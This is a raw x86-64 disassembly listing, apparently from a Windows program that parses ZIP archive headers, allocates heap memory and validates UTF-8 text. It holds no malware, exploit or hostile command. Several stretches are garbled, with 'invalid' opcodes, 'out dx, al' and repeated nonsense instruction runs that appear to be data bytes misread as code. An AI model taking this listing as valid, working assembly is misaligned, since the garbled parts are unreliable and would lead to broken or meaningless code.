mov eax, dword [rsp + 0x290]
cmp eax, 0xc0000011
je case.0x1400c627f.0
cmp eax, 0x103
je 0x1400c8775
test eax, eax
js 0x1400c7679
mov rax, qword [rsp + 0x298]
test rax, rax
je case.0x1400c627f.0
cmp r12, rax
jb case.0x1400c627f.0
add r13, rax
sub r12, rax
jne 0x1400c40d0
cmp dword [rsp + 0x1ac], 0x4034b50
lea r12, [rsp + 0x2b0]
jne case.0x1400c627f.0
mov qword [rsp + 0x2b0], 0
mov rcx, qword [rsp + 0x140]
mov edx, 0x16
mov r8, r12
mov r9d, 1
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
je 0x1400c2c39
mov word [rsp + 0x2b0], 0
mov r8d, 2
lea r13, [rsp + 0x140]
mov rcx, r13
mov rdx, r12
call fcn.1400ca290
test rax, rax
jne case.0x1400c627f.0
movzx edi, word [rsp + 0x2b0]
mov word [rsp + 0x2b0], 0
mov r8d, 2
mov rcx, r13
mov rdx, r12
call fcn.1400ca290
test rax, rax
jne case.0x1400c627f.0
movzx eax, word [rsp + 0x2b0]
mov rcx, qword [r15]
add rax, rdi
lea rdx, [rcx + rax]
add rdx, 0x1e
mov qword [rsi + rbx + 0x90], rdx
mov qword [rsp + 0x2b0], 0
mov rcx, qword [rsp + 0x140]
mov r8, r12
xor r9d, r9d
call sub.kernel32.dll_SetFilePointerEx
test eax, eax
lea r13, [rsp + 0x1d0]
je 0x1400c2c39
cmp word [rsi + rbx + 0x98], 5
je case.0x1400c627f.0
cmp byte [rsi + rbx + 0xa5], 2
jne case.0x1400c627f.0
mov rdi, qword [rsi + rbx + 0x70]
mov r8d, 0xa0
mov rcx, r13
lea r15, [rsp + 0x688]
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x5d9]
mov ecx, dword [rsp + 0x5dc]
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x9b], ecx
mov r8d, 0xc8
lea r12, [rsp + 0x820]
mov rcx, r12
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov r8d, 0xa0
lea rcx, [rsp + 0x448]
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x98]
mov ecx, dword [rsp + 0x9b]
lea rdx, [rsp + 0x310]
mov dword [rdx + 0x1d9], eax
mov dword [rdx + 0x1dc], ecx
mov r8d, 0xc8
lea rcx, [rsp + 0x508]
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x2f8], 0
mov r8d, 0x120
lea rcx, [rsp + 0x318]
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0x438], 2
mov qword [rsp + 0x440], r14
mov byte [rsp + 0x4e8], 0
lea rax, [rsp + 0x140]
mov qword [rsp + 0x4f0], rax
lea rax, [0x1401b5908]
mov qword [rsp + 0x4f8], rax
mov qword [rsp + 0x500], rdi
mov rdi, qword [rsi + rbx + 8]
mov rsi, qword [rsi + rbx + 0x18]
cmp rsi, 0xf
ja 0x1400c43c1
test rsi, rsi
mov ebx, 0
lea r14, [0x140187b74]
je 0x1400c440e
xor eax, eax
cmp byte [rdi + rax], 0
je case.0x1400c4445.0
inc rax
cmp rsi, rax
jne 0x1400c43aa
jmp 0x1400c7265
lea rax, [rdi + 7]
and rax, 0xfffffffffffffff8
sub rax, rdi
mov ebx, 0
lea r14, [0x140187b74]
je 0x1400c4403
cmp rax, rsi
cmovae rax, rsi
test rax, rax
je 0x1400c4403
xor ecx, ecx
cmp byte [rdi + rcx], 0
je case.0x1400c4445.0
inc rcx
cmp rax, rcx
jne 0x1400c43e8
out dx, al
out dx, al
lea rcx, [rsi - 0x10]
jmp 0x1400c7215
invalid
lea rcx, [rsi - 0x10]
xor eax, eax
jmp 0x1400c721a
xor esi, esi
jmp 0x1400c7265
inc rsi
mov rcx, rbp
mov rdx, r12
call fcn.1400e0820
movzx eax, byte [rsp + 0xb100]
cmp al, 0xa
je case.default.0x1400c4445
add al, 0xfa
movzx eax, al
lea rcx, [rax + 1]
cmp al, 4
cmovae rcx, rbx
movsxd rax, dword [r14 + rcx*4]
add rax, r14
jmp rax
sub rsi, 1
jae case.0x1400c4445.2
jmp case.0x1400c4445.0
mov rsi, qword [rsp + 0x1b0]
test rsi, rsi
je 0x1400c44a7
js case.0x1400c627f.0
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c448d
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov rcx, rax
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x1400c44ac
jmp case.0x1400c627f.0
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call sub.msvcrt.dll_memcpy
cmp dword [rsp + 0x438], 2
lea rax, [rsp + 0x438]
jne 0x1400c44d4
mov rax, qword [rsp + 0x440]
mov rcx, qword [rax + 0x18]
test rcx, rcx
je 0x1400c45fb
mov rax, qword [rax + 8]
cmp byte [rcx + rax - 1], 0x2f
jne 0x1400c45fb
mov qword [rsp + 0x688], rbx
mov qword [rsp + 0x690], rsi
lea rax, [rsp + 0x270]
mov qword [rsp + 0xb100], rax
lea rax, [0x14009d2c0]
mov qword [rsp + 0xb108], rax
mov qword [rsp + 0xb110], r15
lea rax, [0x1400e2160]
mov qword [rsp + 0xb118], rax
lea rax, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rbp
mov qword [rsp + 0x838], 2
mov qword [rsp + 0x1d0], 1
movdqu xmmword [rsp + 0x1d8], xmm6
mov rcx, r13
lea rdx, [0x140189f40]
mov r8, r12
call fcn.140004c00
test al, al
jne case.0x1400c627f.0
mov rdi, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
mov byte [rsp + 0x820], 1
mov rcx, r12
mov rdx, rdi
call fcn.1400db740
test rax, rax
jne case.0x1400c627f.0
test rsi, rsi
mov rsi, qword [rsp + 0x180]
je 0x1400c71a4
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
jmp 0x1400c71a4
mov qword [rsp + 0x5d0], rbx
mov rcx, rbx
mov rdx, rsi
call fcn.1400e1760
test rax, rax
je 0x1400c4898
mov rdi, rax
mov r14, rdx
mov rcx, rbp
mov rdx, rax
mov r8, r14
xor r9d, r9d
call fcn.1400d4a10
cmp dword [rsp + 0xb100], 2
jne 0x1400c4898
mov r15, qword [rsp + 0xb108]
mov eax, r15d
and eax, 3
cmp rax, 2
jb 0x1400c472c
cmp eax, 2
jne 0x1400c472c
mov rax, r15
shr rax, 0x20
cmp eax, 0x780
jne 0x1400c472c
mov rcx, r12
mov rdx, rdi
mov r8, r14
mov r9d, 0x200000
call fcn.1400d4a10
cmp dword [rsp + 0x820], 2
jne 0x1400c46f2
mov r12, qword [rsp + 0x828]
mov eax, r12d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400c4714
test rax, rax
je 0x1400c4714
mov rsi, qword [r12 - 1]
mov rbx, qword [r12 + 7]
mov rcx, rsi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c46dc
cmp qword [rbx + 0x10], 0x11
jb 0x1400c46cb
mov rsi, qword [rsi - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rsi
call fcn.140104a84
dec r12
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r12
call fcn.140104a84
jmp 0x1400c4714
test byte [rsp + 0x861], 4
je 0x1400c71e8
mov eax, dword [rsp + 0x864]
mov ecx, 0x20000000
and eax, ecx
je 0x1400c71e8
lea rbp, [rsp + 0xb100]
lea r13, [rsp + 0x1d0]
lea r12, [rsp + 0x820]
mov eax, r15d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400c478e
test rax, rax
je 0x1400c478e
mov r12, qword [r15 - 1]
mov rsi, qword [r15 + 7]
mov rcx, r12
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c4772
cmp qword [rsi + 0x10], 0x11
jb 0x1400c4761
mov r12, qword [r12 - 8]
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r12
call fcn.140104a84
dec r15
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, r15
call fcn.140104a84
lea r12, [rsp + 0x820]
mov qword [rsp + 0x688], rdi
mov qword [rsp + 0x690], r14
lea rax, [rsp + 0x270]
mov qword [rsp + 0xb100], rax
lea rax, [0x14009d2c0]
mov qword [rsp + 0xb108], rax
lea r15, [rsp + 0x688]
mov qword [rsp + 0xb110], r15
lea rax, [0x1400e2160]
mov qword [rsp + 0xb118], rax
lea rax, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rbp
mov qword [rsp + 0x838], 2
mov qword [rsp + 0x1d0], 1
movdqu xmmword [rsp + 0x1d8], xmm6
mov rcx, r13
lea rdx, [0x140189f40]
mov r8, r12
call fcn.140004c00
test al, al
jne case.0x1400c627f.0
mov rdi, qword [rsp + 0x1d0]
mov rsi, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
mov byte [rsp + 0x820], 1
mov rcx, r12
mov rdx, rdi
call fcn.1400db740
test rax, rax
jne case.0x1400c627f.0
test rsi, rsi
mov rsi, qword [rsp + 0x1b0]
je 0x1400c4898
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
mov rax, qword [rsp + 0x5d0]
mov qword [rsp + 0x688], rax
mov qword [rsp + 0x690], rsi
lea rax, [rsp + 0x270]
mov qword [rsp + 0xb100], rax
lea rax, [0x14009d2c0]
mov qword [rsp + 0xb108], rax
mov qword [rsp + 0xb110], r15
lea rax, [0x1400e2160]
mov qword [rsp + 0xb118], rax
lea rax, str.Invalid_checksumincomplete_frame
mov qword [rsp + 0x820], rax
mov qword [rsp + 0x828], 2
mov qword [rsp + 0x840], 0
mov qword [rsp + 0x830], rbp
mov qword [rsp + 0x838], 2
mov qword [rsp + 0x1d0], 1
movdqu xmmword [rsp + 0x1d8], xmm6
mov rcx, r13
lea rdx, [0x140189f40]
mov r8, r12
call fcn.140004c00
inc dword [rax + rax*8 - 0x1c627af1]
invalid
invalid
inc dword [rax + rax*8 - 0x1c627af1]
invalid
mov rdi, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1e0]
mov rbx, qword [rsp + 0x1d8]
mov dword [rsp + 0x820], 0
lea rax, [rsp + 0x830]
movdqu xmmword [rax - 8], xmm6
mov dword [rsp + 0x838], 7
mov word [rax + 0x14], 0
mov qword [rax + 0xc], 0
mov byte [rsp + 0x841], 1
add byte [rcx], al
add byte [rcx], al
mov word [rsp + 0x843], 0x101
mov rcx, rdi
mov r8, r12
call fcn.1400d44b0
mov rsi, rax
mov r12, rdx
test rbx, rbx
je 0x1400c49d2
mov rcx, qword [0x1401ee100]
xor edx, edx
mov r8, rdi
call fcn.140104a84
test rsi, rsi
jne case.0x1400c627f.0
xor esi, esi
jmp 0x1400c49ef
mov esi, 0x2000
cmp byte [r14 + 0x10], 0x23
jne case.0x1400c627f.0
cmp rsi, 0x2001
jae case.0x1400c627f.0
mov r8d, 0x2000
sub r8, rsi
lea rcx, [rsp + rsi]
add rcx, 0xb100
xor edx, edx
call sub.msvcrt.dll_memset
mov r14, qword [rsp + 0x2f8]
test r14, r14
je 0x1400c4a34
lea rcx, [0x140187bb0]
movsxd rax, dword [rcx + r14*4]
add rax, rcx
jmp rax
movzx r10d, byte [rsp + 0x4e8]
mov byte [rsp + 0x4e8], 3
cmp r10, 3
je case.0x1400c627f.0
movzx r14d, byte [rsp + 0x4e9]
mov rax, qword [rsp + 0x440]
lea rcx, [rax + 0x98]
cmp dword [rsp + 0x438], 2
lea rdx, [rsp + 0x4d0]
cmovne rcx, rdx
lea rdx, [rsp + 0x438]
cmovne rax, rdx
movzx ecx, word [rcx]
cmp r10b, 2
mov ebx, 0
cmove ebx, r14d
cmp rcx, 4
ja case.0x1400c627f.0
mov edx, dword [rsp + 0x4ea]
movzx edi, word [rsp + 0x4ee]
shl rdi, 0x20
or rdi, rdx
movdqu xmm14, xmmword [rsp + 0x4f0]
mov rdx, qword [rsp + 0x500]
mov qword [rsp + 0x158], rdx
mov r9, qword [rsp + 0x508]
mov rdx, qword [rsp + 0x510]
mov qword [rsp + 0x120], rdx
movdqu xmm13, xmmword [rsp + 0x518]
mov rdx, qword [rsp + 0x528]
mov qword [rsp + 0xa0], rdx
mov rdx, qword [rsp + 0x530]
mov qword [rsp + 0x128], rdx
mov rdx, qword [rsp + 0x538]
mov qword [rsp + 0x48], rdx
movdqu xmm9, xmmword [rsp + 0x540]
mov rdx, qword [rsp + 0x550]
mov qword [rsp + 0x80], rdx
mov edx, dword [rsp + 0x558]
mov dword [rsp + 0x160], edx
movzx edx, byte [rsp + 0x55f]
shl edx, 0x10
movzx r13d, word [rsp + 0x55d]
or r13d, edx
movdqu xmm15, xmmword [rsp + 0x568]
movzx edx, byte [rsp + 0x587]
shl edx, 0x10
movzx ebp, word [rsp + 0x585]
or ebp, edx
movzx edx, byte [rsp + 0x5af]
shl edx, 0x10
movzx r15d, word [rsp + 0x5ad]
or r15d, edx
movzx edx, byte [rsp + 0x584]
mov byte [rsp + 0xb8], dl
movdqu xmm11, xmmword [rsp + 0x590]
movzx edx, byte [rsp + 0x5ac]
mov byte [rsp + 0x90], dl
mov r8d, dword [rax + 0x9c]
lea rdx, [0x140187b88]
movsxd rax, dword [rdx + rcx*4]
add rax, rdx
movzx ecx, byte [rsp + 0x55c]
mov qword [rsp + 0x100], rcx
mov rcx, qword [rsp + 0x560]
mov qword [rsp + 0x168], rcx
mov rcx, qword [rsp + 0x578]
mov qword [rsp + 0xb0], rcx
mov ecx, dword [rsp + 0x580]
mov dword [rsp + 0xc0], ecx
mov rcx, qword [rsp + 0x588]
mov qword [rsp + 0xe0], rcx
mov rcx, qword [rsp + 0x5a0]
mov qword [rsp + 0xf0], rcx
mov ecx, dword [rsp + 0x5a8]
mov dword [rsp + 0x88], ecx
mov rsi, qword [rsp + 0x5b0]
mov rdx, qword [rsp + 0x5b8]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x5c0]
mov r11, qword [rsp + 0x5c8]
jmp rax
mov qword [rsp + 0xd8], r14
mov rax, qword [0x1401ee108]
test rax, rax
mov qword [rsp + 0x130], rsi
je 0x1400c701f
add byte [rax], al
add byte [rax], al
movq qword [rsp + 0xe8], xmm14
pshufd xmm0, xmm14, 0xee
movq qword [rsp + 0x1c0], xmm0
mov r14d, 2
mov esi, 2
mov esi, 2
test al, 2
jne 0x1400c52eb
xor eax, eax
jmp 0x1400c5301
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c4cfb
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov r8d, 0x8000
mov rcx, rax
mov edx, 8
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov rsi, rax
mov qword [rsp + 0xd8], r14
mov r8d, 0x28e0
lea rcx, [rsp + 0x8820]
xor edx, edx
call sub.msvcrt.dll_memset
mov r8d, 0x8000
lea rcx, [rsp + 0x820]
xor edx, edx
call sub.msvcrt.dll_memset
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c4d74
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov r8d, 0xab08
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov r14, rax
mov r8d, 0xa8e0
mov rcx, rax
lea rdx, [rsp + 0x820]
call sub.msvcrt.dll_memcpy
mov rcx, r14
add rcx, 0xa8e0
movdqu xmmword [r14 + 0xaaf0], xmm6
mov r8d, 0x20a
xor edx, edx
call sub.msvcrt.dll_memset
mov dword [r14 + 0xab00], 0x10201
mov byte [rsp + 0x824], 0
mov dword [rsp + 0x820], 0
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c7069
xor ecx, ecx
mov qword [rsp + 0xa8], rcx
test al, 2
mov edx, dword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov r10, qword [rsp + 0x68]
mov r11, qword [rsp + 0x70]
je 0x1400c4e33
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c7131
shr eax, 0xa
and eax, 1
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1a0], r14
movzx eax, byte [rsp + 0x824]
mov byte [rsp + 0x1d4], al
mov eax, ebx
mov byte [rsp + 0x57], bl
mov rax, rsi
shr rax, 0x20
mov rcx, rsi
shr rcx, 0x28
mov qword [rsp + 0x178], rcx
mov ecx, dword [rsp + 0x820]
mov dword [rsp + 0x1d0], ecx
movq qword [rsp + 0xe8], xmm14
pshufd xmm0, xmm14, 0xee
movq qword [rsp + 0x1c0], xmm0
mov r14d, 3
mov ecx, 0x8000
mov qword [rsp + 0x198], rcx
xor ecx, ecx
mov qword [rsp + 0x118], rcx
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0xd0], ecx
movzx ecx, byte [rsp + 0x90]
mov byte [rsp + 0xf8], cl
mov dword [rsp + 0x174], edx
mov ebx, eax
mov r8d, esi
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x150], rax
and al, 0x50
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0x90
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0x88
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0xb8
add dword [rax], eax
add cl, ch
push 0xd
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x10
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0x90
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0x88
add dword [rax], eax
add byte [rcx], dh
ror byte [rax - 0x77], 0x84
and al, 0xb8
add dword [rax], eax
add cl, ch
push 0xd
add byte [rax], al
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c4f62
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov r8d, 0x2000
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov rsi, rax
mov qword [rsp + 0xd8], r14
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c4fae
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov r8d, 0x50
mov rcx, rax
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je case.0x1400c627f.0
mov r14, rax
movdqu xmmword [rax + 0x40], xmm6
movdqu xmmword [rax + 0x30], xmm6
movdqu xmmword [rax + 0x20], xmm6
movdqu xmmword [rax + 0x10], xmm6
movdqu xmmword [rax], xmm6
mov rcx, rax
xor edx, edx
xor r8d, r8d
call fcn.140108380
test eax, eax
jne case.0x1400c627f.0
mov rax, qword [0x1401ee108]
test rax, rax
mov r8d, dword [rsp + 0x58]
mov r9, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov r10, qword [rsp + 0x70]
je 0x1400c7073
xor edx, edx
mov qword [rsp + 0xa8], rdx
test al, 2
je 0x1400c5047
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c714e
shr eax, 0xa
and eax, 1
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x118], r14
mov rax, qword [rsp + 0xd8]
shl rax, 8
or rax, rcx
shl rdi, 0x10
or rdi, rax
mov eax, dword [rsp + 0x820]
mov dword [rsp + 0x1d0], eax
movzx eax, byte [rsp + 0x824]
mov byte [rsp + 0x1d4], al
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x100]
mov byte [rsp + 0xb8], al
mov eax, ebx
mov byte [rsp + 0x57], bl
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x48]
mov ecx, esi
shr ecx, 8
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x120], rdi
mov rdi, rsi
shr rdi, 0x10
mov r11, qword [rsp + 0x128]
mov rax, r11
shr rax, 0x20
mov ecx, dword [rsp + 0xc0]
mov dword [rsp + 0xd0], ecx
mov ecx, dword [rsp + 0x160]
mov dword [rsp + 0xc0], ecx
mov ecx, r11d
shr r11, 0x28
mov edx, r15d
mov qword [rsp + 0x178], rdx
mov r15d, ebp
mov ebp, r13d
mov edx, r11d
pshufd xmm0, xmm11, 0xee
movq qword [rsp + 0x150], xmm11
movdqa xmm11, xmm15
movdqa xmm15, xmm9
movdqa xmm9, xmm13
mov qword [rsp + 0x1a0], r10
mov r13d, r11d
mov qword [rsp + 0x128], r9
mov r10d, esi
mov r11, qword [rsp + 0xf0]
mov dword [rsp + 0x174], r8d
mov r8d, dword [rsp + 0x88]
mov rdx, qword [rsp + 0xb0]
mov qword [rsp + 0xf0], rdx
mov dword [rsp + 0x160], ecx
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x188], rax
movdqa xmm13, xmm14
movzx eax, byte [rsp + 0x90]
mov ebx, eax
movq rdx, xmm0
mov eax, 0x2000
mov qword [rsp + 0xe8], rax
mov r14d, 4
mov r9d, 0
mov eax, 0
mov qword [rsp + 0x1c0], rax
xor eax, eax
mov qword [rsp + 0x158], rax
mov dword [rsp + 0x158], eax
mov dword [rsp + 0x158], eax
mov qword [rsp + 0x1b8], rax
jmp 0x1400c5c78
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x70], r11
mov qword [rsp + 0x68], r10
mov qword [rsp + 0x60], r9
mov dword [rsp + 0x58], r8d
call fcn.140158e80
mov qword [rsp + 0xe8], rax
test rax, rax
je 0x1400c5336
js case.0x1400c627f.0
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c52c7
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0xe8]
call sub.kernel32.dll_HeapAlloc
mov qword [rsp + 0xa8], rax
test rax, rax
jne 0x1400c5343
jmp case.0x1400c627f.0
mov rax, qword [0x1401ee108]
test rax, rax
je 0x1400c70e3
shr eax, 0xa
and eax, 1
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0xd0], eax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0xf8], al
mov qword [rsp + 0x150], rdx
mov rdx, rcx
jmp 0x1400c5c78
mov eax, 1
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xd8], ebx
mov rbx, rsi
call fcn.140159aa0
test rax, rax
je case.0x1400c627f.0
mov rsi, rax
mov rcx, rax
call fcn.1401729b0
mov qword [rsp + 0x118], rsi
mov rcx, rsi
lea rdx, str.Invalid_checksumincomplete_frame
xor r8d, r8d
call fcn.140158260
mov rsi, rax
mov rcx, rax
call fcn.140172fd0
test eax, eax
je 0x1400c55ef
mov r15d, eax
mov rcx, rsi
call fcn.140171e50
mov r14, rax
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rbp, rax
mov rcx, rax
sub rcx, 0xf
mov eax, 0
cmovae rax, rcx
test rbp, rbp
je 0x1400c578a
lea rcx, [r14 + 7]
and rcx, 0xfffffffffffffff8
sub rcx, r14
xor edx, edx
lea r11, [0x1401b5c48]
movzx esi, byte [rsp + 0x56]
movzx r13d, byte [rsp + 0x7f]
movdqa xmm15, xmmword [rsp + 0x770]
movdqa xmm11, xmmword [rsp + 0x760]
mov edi, dword [rsp + 0x1a8]
mov ebx, dword [rsp + 0xd8]
jmp 0x1400c5414
inc rdx
cmp rdx, rbp
jae 0x1400c5595
movzx r8d, byte [r14 + rdx]
test r8b, r8b
js 0x1400c5466
mov r8d, ecx
sub r8d, edx
test r8b, 7
jne 0x1400c5408
jmp 0x1400c5430
add rdx, 0x10
cmp rdx, rax
jae 0x1400c544d
mov r8, qword [r14 + rdx + 8]
or r8, qword [r14 + rdx]
movabs r9, 0x8080808080808080
test r8, r9
je 0x1400c542c
cmp rdx, rbp
jae 0x1400c540b
cmp byte [r14 + rdx], 0
js 0x1400c540b
inc rdx
cmp rbp, rdx
jne 0x1400c5452
jmp 0x1400c5595
movzx r9d, byte [r8 + r11]
cmp r9d, 4
je 0x1400c5489
cmp r9d, 3
je 0x1400c54b8
cmp r9d, 2
jne case.0x1400c627f.0
inc rdx
jmp 0x1400c557c
lea r9, [rdx + 1]
cmp r9, rbp
jae case.0x1400c627f.0
movzx r9d, byte [r14 + r9]
cmp r8, 0xf0
je 0x1400c54eb
cmp r8d, 0xf4
jne 0x1400c54fa
cmp r9b, 0x8f
jle 0x1400c5512
jmp case.0x1400c627f.0
lea r9, [rdx + 1]
cmp r9, rbp
jae case.0x1400c627f.0
movzx r9d, byte [r14 + r9]
cmp r8, 0xe0
je 0x1400c5547
cmp r8d, 0xed
jne 0x1400c5556
cmp r9b, 0x9f
jle 0x1400c5578
jmp case.0x1400c627f.0
add r9b, 0x70
cmp r9b, 0x30
jb 0x1400c5512
jmp case.0x1400c627f.0
add r8b, 0xf
cmp r8b, 2
ja case.0x1400c627f.0
cmp r9b, 0xc0
jge case.0x1400c627f.0
lea r8, [rdx + 2]
cmp r8, rbp
jae case.0x1400c627f.0
cmp byte [r14 + r8], 0xbf
jg case.0x1400c627f.0
add rdx, 3
cmp rdx, rbp
jae case.0x1400c627f.0
cmp byte [r14 + rdx], 0xc0
jl 0x1400c5408
jmp case.0x1400c627f.0
and r9b, 0xe0
cmp r9b, 0xa0
je 0x1400c5578
jmp case.0x1400c627f.0
lea r10d, [r8 + 0x1f]
cmp r10b, 0xc
jb 0x1400c556e
and r8b, 0xfe
cmp r8b, 0xee
jne case.0x1400c627f.0
cmp r9b, 0xc0
jge case.0x1400c627f.0
add rdx, 2
cmp rdx, rbp
jae case.0x1400c627f.0
cmp byte [r14 + rdx], 0xbf
jle 0x1400c5408
jmp case.0x1400c627f.0
test rbp, rbp
mov byte [rsp + 0x56], sil
je 0x1400c57b9
js case.0x1400c627f.0
movzx eax, byte [0x1401ee110]
mov rax, qword [0x1401ee100]
test rax, rax
jne 0x1400c55d1
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je case.0x1400c627f.0
mov qword [0x1401ee100], rax
mov rcx, rax
xor edx, edx
mov r8, rbp
call sub.kernel32.dll_HeapAlloc
mov rsi, rax
test rax, rax
jne 0x1400c57be
jmp case.0x1400c627f.0
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0x100]
mov byte [rsp + 0xb8], al
mov eax, r14d
mov byte [rsp + 0xd6], r14b
mov rax, qword [rsp + 0x68]
mov byte [rsp + 0xd7], al
pshufd xmm0, xmm11, 0xee
movq qword [rsp + 0x150], xmm11
movdqa xmm11, xmm15
movdqa xmm15, xmm9
movdqa xmm9, xmm13
movdqa xmm13, xmm14
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x198], rbx
mov eax, r15d
mov qword [rsp + 0x178], rax
movzx eax, byte [rsp + 0x90]
mov byte [rsp + 0xd5], al
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x2e4], eax
mov r11, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe0]
mov r15d, ebp
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0xe0], rax
mov ebp, r13d
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0xc0], eax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x48]
